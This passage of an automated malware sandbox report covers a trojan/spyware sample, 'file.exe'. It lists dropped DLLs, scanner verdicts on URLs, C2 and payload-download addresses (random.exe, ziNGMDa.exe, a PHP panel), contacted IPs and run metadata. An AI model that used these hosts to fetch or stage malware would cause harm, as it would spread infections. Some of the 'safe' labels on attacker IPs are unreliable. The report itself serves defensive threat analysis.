C:\Users\user\AppData\Local\Temp\_MEI79282\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libtiff-5.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbis-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbisfile-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\libwebp-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\portmidi.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\_freetype.cp310-win_amd64.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://80.82.65.70/files/download0/files/downloadMicrosoft	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadOu	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiEd7sSF1Bg=	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download6	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllfI	100%	Avira URL Cloud	malware
https://pyinstaller.readthedocs.io/en/v4.9	0%	Avira URL Cloud	safe
http://185.215.113.206c4becf79229cb002.php	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeuW	100%	Avira URL Cloud	malware
https://pyinstaller.readthedocs.io/en/v4.9/CHANGES.html	0%	Avira URL Cloud	safe
http://185.215.113.206/?:	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllUI))	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download7tG	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadE	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/downloadwsock.dll.mui	0%	Avira URL Cloud	safe
http://185.215.113.206m	0%	Avira URL Cloud	safe
https://altgraph.readthedocs.io	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe.T	100%	Avira URL Cloud	malware
http://80.82.65.70/dll/downloadZ	0%	Avira URL Cloud	safe
http://31.41.244.11/files/7993434781/ziNGMDa.exe	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeJW	100%	Avira URL Cloud	malware
http://www.zlib.net/D	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	0%	Avira URL Cloud	safe
http://crl3.digiV	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiUv	100%	Avira URL Cloud	malware
https://pyinstaller.readthedocs.io/en/v4.9/	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadlr	0%	Avira URL Cloud	safe
http://185.215.113.206/V:y)	100%	Avira URL Cloud	malware
http://80.82.65.70/files/downloadstem32	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exen	100%	Avira URL Cloud	malware
http://185.215.113.206/6gG	100%	Avira URL Cloud	malware
http://packages.python.org/altgraph	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllLJ	100%	Avira URL Cloud	malware
http://80.82.65.70/files/downloadlZ	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php8rD	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	172.67.165.166	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
www.google.com	172.217.21.36	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
dare-curbys.biz	false		high
http://185.215.113.206/	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
formy-spill.biz	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
185.215.113.206/c4becf79229cb002.php	false		high
https://atten-supporse.biz/api	false		high
http://80.82.65.70/files/download	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false	Avira URL Cloud: safe	unknown
atten-supporse.biz	false		high
print-vexer.biz	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
impend-differ.biz	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
dwell-exclaim.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/files/download0/files/downloadMicrosoft	eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadOu	eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	false		high
https://atten-supporse.biz/apiEd7sSF1Bg=	0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllfI	file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/download6	eb02f9ad86.exe, 00000015.00000003.3280367366.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000003.3254870536.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000003.3305558224.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3334746183.000000000594E000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000003.3229571006.000000000594D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295941337.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206c4becf79229cb002.php	file.exe, 00000000.00000002.2627096848.00000000003BC000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://python.org/dev/peps/pep-0263/	ziNGMDa.exe, 00000014.00000002.3336778016.00007FF8A8B3E000.00000002.00000001.01000000.00000010.sdmp	false		high
http://185.215.113.206/?:	file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pyinstaller.readthedocs.io/en/v4.9/CHANGES.html	ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exeuW	skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pyinstaller.readthedocs.io/en/v4.9	ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/questions/267399/how-do-you-match-only-valid-roman-numerals-with-a-regular-	ziNGMDa.exe, 00000014.00000003.3017023414.000001C7FF6F6000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016700587.000001C7FFA61000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF550000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF6EF000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/packaging	ziNGMDa.exe, 00000014.00000002.3331467425.000001C7FF9B4000.00000004.00001000.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/download7tG	eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllUI))	file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/downloadE	eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pypi.python.org/pypi/altgraph	ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	ziNGMDa.exe, 00000014.00000002.3322894428.000001C7FD7F8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe.T	skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exe	skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206m	file.exe, 00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2657386888.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	false		high
http://80.82.65.70/dll/downloadwsock.dll.mui	eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/Local	8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://altgraph.readthedocs.io	ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php1	8b4f365c71.exe, 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php8	8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php:	file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setuptools.readthedocs.io/en/latest/pkg_resources.html#basic-resource-access	ziNGMDa.exe, 00000014.00000003.3015646378.000001C7FF623000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3015715541.000001C7FF5CB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016357180.000001C7FF618000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF5D2000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016137125.000001C7FF5D2000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016137125.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5AA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://github.com/ActiveState/appdirs	ziNGMDa.exe, 00000014.00000002.3331467425.000001C7FF9B4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ronaldoussoren/altgraph/workflows/Lint/badge.svg	ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	false		high
https://wiki.debian.org/XDGBaseDirectorySpecification#state	ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD370000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/7993434781/ziNGMDa.exe	skotes.exe, 00000011.00000002.3327175551.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3327175551.00000000012CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/dll/downloadZ	eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zlib.net/D	ziNGMDa.exe, 00000012.00000003.3007900438.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3004290502.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ronaldoussoren/altgraph/workflows/Test/badge.svg	ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	false		high
http://185.215.113.16/luma/random.exeJW	skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl3.digiV	ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiUv	0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	0eb65aaf2f.exe, 00000016.00000003.3227635499.0000000000D41000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254870081.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295755517.000000000563B000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3252905448.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254152728.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3252387300.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3294733307.000000000563B000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3292834487.0000000005638000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3336365165.0000000005652000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3292349553.0000000005635000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pyinstaller.readthedocs.io/en/v4.9/	ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique2/random.exe	skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.gnu.org/copyleft/gpl.html	ziNGMDa.exe, 00000012.00000003.3009397877.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gnu.org/licenses/gpl-2.0.html	ziNGMDa.exe, 00000012.00000003.3009690328.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/downloadlr	eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ronaldoussoren/altgraph	ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	false		high
https://github.com/naufraghi/tinyaes-py	ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	false		high
http://80.82.65.70/files/downloadstem32	eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	ziNGMDa.exe, 00000014.00000002.3322894428.000001C7FD770000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.18.dr	false		high
http://185.215.113.16/well/random.exen	skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/pyinstaller/pyinstaller	ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295941337.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/ronaldoussoren/altgraph/issues	METADATA.18.dr	false		high
http://185.215.113.206/V:y)	file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/6gG	8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://packages.python.org/altgraph	ziNGMDa.exe, 00000012.00000003.3008857251.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008686579.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008792343.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008598768.000001F69CC01000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllLJ	file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/downloadlZ	eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl3.digi	ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpx	file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php8rD	8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.gnu.org/copyleft/gpl.htmlThe	ziNGMDa.exe, 00000012.00000003.3009397877.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571592
Start date and time:	2024-12-09 15:28:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@50/157@5/10
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 64.233.162.84, 172.217.19.238, 172.217.17.46, 172.217.21.35, 172.217.19.234, 142.250.181.42, 142.250.181.74, 142.250.181.106, 172.217.17.74, 172.217.17.42, 172.217.19.170, 142.250.181.10, 216.58.208.234, 142.250.181.138, 172.217.19.202, 2.20.68.206, 172.217.21.42, 172.217.19.10, 192.229.221.95, 13.107.246.63, 23.218.208.109, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target file.exe, PID 3040 because there are no executed function
Not all processes where analyzed, report is missing behavior information
